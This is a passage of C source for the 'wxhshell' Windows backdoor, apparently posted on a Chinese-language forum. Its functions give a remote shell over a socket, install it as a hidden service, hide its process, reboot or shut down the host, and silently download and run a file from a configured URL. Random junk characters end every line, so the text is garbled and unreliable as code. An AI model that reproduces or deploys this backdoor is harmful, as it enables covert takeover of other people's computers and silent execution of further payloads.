  case '?': { JO]`LF]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :v''"+\  
    break; ,!8*g[^O  
  } 4bFv"b  
  // 安装 Zu)i+GeG  
  case 'i': { 6Lav.x\W  
    if(Install()) )3+xsnv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m]  EDuW  
    else {lTR/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H,/~=d: ^  
    break; /{49I,  
    } e=YO.HT  
  // 卸载 gE-lM/w  
  case 'r': { {Nzmb|&  
    if(Uninstall()) DKf}47y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t=AE7  
    else |~Htj4K/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LAOdH/*:  
    break; z2"2tFK  
    } W8\PCXnsfl  
  // 显示 wxhshell 所在路径 3T Yo  
  case 'p': { xuw//F  
    char svExeFile[MAX_PATH]; <x.]OZgO  
    strcpy(svExeFile,"\n\r"); EXv\FUzo  
      strcat(svExeFile,ExeFile); Cj`pw2.  
        send(wsh,svExeFile,strlen(svExeFile),0); fbi H   
    break; ".Tf< F  
    } "`y W]v  
  // 重启 \5j22L9S  
  case 'b': { Q'>_59  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >MBn2(\B;  
    if(Boot(REBOOT)) uKaf{=*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7H/! rx  
    else { rHA/  
    closesocket(wsh); '33Yl+h  
    ExitThread(0); KE }o  
    } ]QjXh >  
    break; "E4i >g  
    } 7"h=MB_  
  // 关机 oxxE'cx{g  
  case 'd': { 7 UB8N vo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bdNY7|j`  
    if(Boot(SHUTDOWN)) ;+aDjO2(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \xa36~hh40  
    else { ,.1&Ff)S  
    closesocket(wsh); YA1{-7'Q  
    ExitThread(0); ]JhDRJ\  
    } 7%~VOB  
    break; B h.6:9{  
    } WVBE>TB  
  // 获取shell b{9HooQ{  
  case 's': { $j$\ccG  
    CmdShell(wsh); vQ9 xG))  
    closesocket(wsh); f@,hO5h(_|  
    ExitThread(0); >TH-Q[  
    break; c +"O\j'  
  } PW~cqo B71  
  // 退出 .q~,.yI&j  
  case 'x': { #b<lt'gC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YGZAtSf3z  
    CloseIt(wsh); XACEt~y  
    break; s%0[DO3NV  
    } z[<pi :  
  // 离开 : .UX[!^  
  case 'q': { k;AV;KWI'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3P<Zzt%eT  
    closesocket(wsh); ^*4(JR   
    WSACleanup(); 7J)a"d^e  
    exit(1); mt&JgA/  
    break; uBd =x<c\  
        } oPCIlH  
  } P+_\}u;  
  } L?/M2zc9Y  
&Pn%zfmMN  
  // 提示信息 'J&@jp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cfO^CC  
} )f_"`FH0d  
  } &].1[&M]  
=Un6|]  
  return; NjCLL`?f  
} FSXKH{Z  
&p(*i@Ms  
// shell模块句柄 o@Cn_p^X  
int CmdShell(SOCKET sock) ? ><   
{ d/-0B<ts  
STARTUPINFO si; @)!1#^(}%  
ZeroMemory(&si,sizeof(si)); #L)4 |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6:7:NIl:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h&^/, G  
PROCESS_INFORMATION ProcessInfo; )H=[NB6J8  
char cmdline[]="cmd"; 'f$?/5@@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dBi3ZC AF  
  return 0; S+bWD7  
} CUTEp/+  
SgQmYaa&  
// 自身启动模式 LI5cUCl  
int StartFromService(void) ^ZViQ$a"h;  
{ d$G%F$BTs  
typedef struct XDv7#Tv_wv  
{ C[/U y  
  DWORD ExitStatus; =kZwB*7  
  DWORD PebBaseAddress; HS|g   
  DWORD AffinityMask; c]/O^/  
  DWORD BasePriority; tMs| UC  
  ULONG UniqueProcessId; WZy6K(18"'  
  ULONG InheritedFromUniqueProcessId; #Z3I%bkw H  
}   PROCESS_BASIC_INFORMATION; 9zM4D  
@bVh?T0~F,  
PROCNTQSIP NtQueryInformationProcess; ";!1(xZr  
hG0lR.:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e"&9G}.f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]|\>O5eeu  
ct4)faM  
  HANDLE             hProcess; /`]|_>'  
  PROCESS_BASIC_INFORMATION pbi; &@.=)4Y  
 ~d<`L[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UY?]\4Om  
  if(NULL == hInst ) return 0; V,* 0<7h  
?@uK s4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?PU(<A+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,`B>}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j2v[-N4 {J  
'/]Aaf@U8  
  if (!NtQueryInformationProcess) return 0; ;V(}F!U\z  
'Q;?_,`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k=q%FlE  
  if(!hProcess) return 0; (;S]{z%  
C Wl95g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9#$V1(}?  
*Uw#  
  CloseHandle(hProcess); 5]O LV1Xt  
zdQu%q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =v#A&IPA'  
if(hProcess==NULL) return 0; J$=b&$I(  
l8 2uK"M  
HMODULE hMod; /3:IE%o  
char procName[255]; YdL1(|EdM  
unsigned long cbNeeded; ,EJ [I^  
6W#F Ss~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fw~%^*  
[T?6~^m=  
  CloseHandle(hProcess); :^.87>V7  
j$i8@]  
if(strstr(procName,"services")) return 1; // 以服务启动 HFCFEamBMP  
=.2cZwxX$  
  return 0; // 注册表启动 {m*J95[   
} 'H-YFB$l  
#mFAl|O  
// 主模块 VDI S`E  
int StartWxhshell(LPSTR lpCmdLine) >IydXmTy  
{ W&q5cz  
  SOCKET wsl; ^xu)~:} i  
BOOL val=TRUE; JdNPfkOF  
  int port=0; _( A +_|  
  struct sockaddr_in door; B qiq  
Ta5iY }  
  if(wscfg.ws_autoins) Install(); KVe'2Q<  
cLk+( dn  
port=atoi(lpCmdLine); Tee3U%Y  
sf&K<C](  
if(port<=0) port=wscfg.ws_port; \\pyu]z  
(Y@|h%1W  
  WSADATA data; f(ec/0W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ykl=KR  
n'(n4qH2#s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )ZT0zIG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @T=HcUP)  
  door.sin_family = AF_INET; uN^qfJ'@ >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *[/Xhx"  
  door.sin_port = htons(port); ?ut juMdl  
3ncvM>~g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vM;dPE7  
closesocket(wsl); 6L% R@r  
return 1; S{|)9EKw  
} oUS>p":  
+?g,&NE  
  if(listen(wsl,2) == INVALID_SOCKET) { \}Kp=8@nE  
closesocket(wsl);  l e/#J  
return 1; ?d`+vHK]>  
} hp%Pg &  
  Wxhshell(wsl); lcJumV=%>  
  WSACleanup(); +OP:"Q_#  
Z8_gI[Zn  
return 0; ee?M o`  
rnr8t]  
} hl~F1"q )  
`-`iS?  
// 以NT服务方式启动 i(;u6Rk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g \h7`-#t  
{ u5B/Em7,0  
DWORD   status = 0; .T>}O0L"  
  DWORD   specificError = 0xfffffff; *X55:yha  
G~L#v AY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y:Ab5/bHy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C3h!?5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t# {>y1[29  
  serviceStatus.dwWin32ExitCode     = 0; !d@`r1t  
  serviceStatus.dwServiceSpecificExitCode = 0; Nm.>C4  
  serviceStatus.dwCheckPoint       = 0; H%gD[!^  
  serviceStatus.dwWaitHint       = 0; P9chRy  
3@bjIX`=H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]xeyXw84k  
  if (hServiceStatusHandle==0) return; V zx(J)  
h>Pg:*N,(  
status = GetLastError(); cCCplL  
  if (status!=NO_ERROR) 7VBw@Rh  
{ 7anpz%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q%&7J<   
    serviceStatus.dwCheckPoint       = 0; oeKc-[r  
    serviceStatus.dwWaitHint       = 0; D6:J*F&?  
    serviceStatus.dwWin32ExitCode     = status; 6)YNjh.{ *  
    serviceStatus.dwServiceSpecificExitCode = specificError; <plR<iI.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &;3z 1s/  
    return; U2?gODh'  
  } wLSYzz  
-$ft `Ih  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [\F,\  
  serviceStatus.dwCheckPoint       = 0; LX&P]{q KS  
  serviceStatus.dwWaitHint       = 0; ^$ bhmJYT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9\0 K%LL  
} ;z=C]kI6M  
p~co!d.q/}  
// 处理NT服务事件,比如:启动、停止 d9( Sj?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4>#^Pk?Ra  
{ J8Db AB4X  
switch(fdwControl) 8dB~09Z7  
{ F}[;ytmUS  
case SERVICE_CONTROL_STOP: 0)44*T  
  serviceStatus.dwWin32ExitCode = 0; K)@Buu&,p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tAi9mm;k  
  serviceStatus.dwCheckPoint   = 0; X*q C:]e  
  serviceStatus.dwWaitHint     = 0; B+ sqEj-  
  { <}1%">RA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7y7y<`)I5  
  } :_zKUv]  
  return; .?j8{>  
case SERVICE_CONTROL_PAUSE: wpI4P:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7rg[5hP T  
  break; T480w6-@  
case SERVICE_CONTROL_CONTINUE: PyF4uCn"H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }O{"qs#)  
  break; f}!26[_9{  
case SERVICE_CONTROL_INTERROGATE: t"Hrn3w  
  break; rT)R*3  
}; uK5Px!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ::`wx@  
}  8[OiG9b  
yBiwYk6  
// 标准应用程序主函数 k~dr;j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Pdk?vHK;  
{ (Mh\!rMg  
S7Fxb+{6D  
// 获取操作系统版本 &3J#"9 _S  
OsIsNt=GetOsVer(); {r8CzJ'f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]f~YeOB@  
k 'b|#c9c  
  // 从命令行安装  :i$Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fgk/Ph3r  
%"2B1^o>  
  // 下载执行文件 M(jH"u&f  
if(wscfg.ws_downexe) { 4UkLvL1x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /B7 GH5  
  WinExec(wscfg.ws_filenam,SW_HIDE); dp+Y?ufr  
} x6tY _lzJ  
!W7ekPnK  
if(!OsIsNt) { U8!njLC  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hd`RR3J  
HideProc(); e X@q'Zi  
StartWxhshell(lpCmdLine); Uo ,3 lMr  
} N!,l4!M\N  
else Hyg?as>}u  
  if(StartFromService()) 1gJ!!SHPo  
  // 以服务方式启动 < i|+p1t  
  StartServiceCtrlDispatcher(DispatchTable); 9=f'sqIPV  
else Nj\WvKG  
  // 普通方式启动 vGw}e&YI  
  StartWxhshell(lpCmdLine); p]oo^  
s q KkTG3  
return 0; {IvCe0`  
}
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只看该作者 1 发表于: 2006-10-10
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